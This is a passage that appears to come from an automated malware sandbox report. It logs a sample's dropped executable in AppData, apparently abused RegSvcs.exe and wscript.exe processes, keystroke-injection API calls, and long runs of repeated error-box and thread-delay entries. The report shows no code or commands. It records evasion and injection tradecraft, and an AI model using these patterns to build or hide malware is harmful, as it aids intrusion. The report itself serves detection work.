Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_00434418 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput, | 2_2_00434418 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0047A330 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed, | 5_2_0047A330 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_00434418 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput, | 5_2_00434418 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Process information set: NOOPENFILEERRORBOX | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 922337203685477 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 600000 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599875 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599766 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599641 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599531 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599422 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599313 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599188 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599063 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598953 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598841 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598733 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598624 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598516 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598391 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598277 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598172 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598063 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597938 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597813 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597703 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597594 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597469 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597360 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597235 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597110 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596985 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596860 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596735 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596610 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596485 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596343 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596234 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596103 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595981 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595707 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595580 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595453 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595344 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595235 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 595110 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594985 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594860 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594737 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594610 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594485 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594360 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594235 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 594110 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 593985 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 593860 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 922337203685477 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 600000 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599891 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599781 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599672 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599563 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599453 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599344 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599219 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 599110 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598985 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598860 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598735 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598610 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598485 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598360 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598235 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 598110 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597985 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597860 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597735 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597610 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597485 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597360 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597191 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 597063 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596938 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596813 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596703 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596564 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596438 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596328 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596219 | Jump to behavior |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Thread delayed: delay time: 596094 | Jump to behavior |
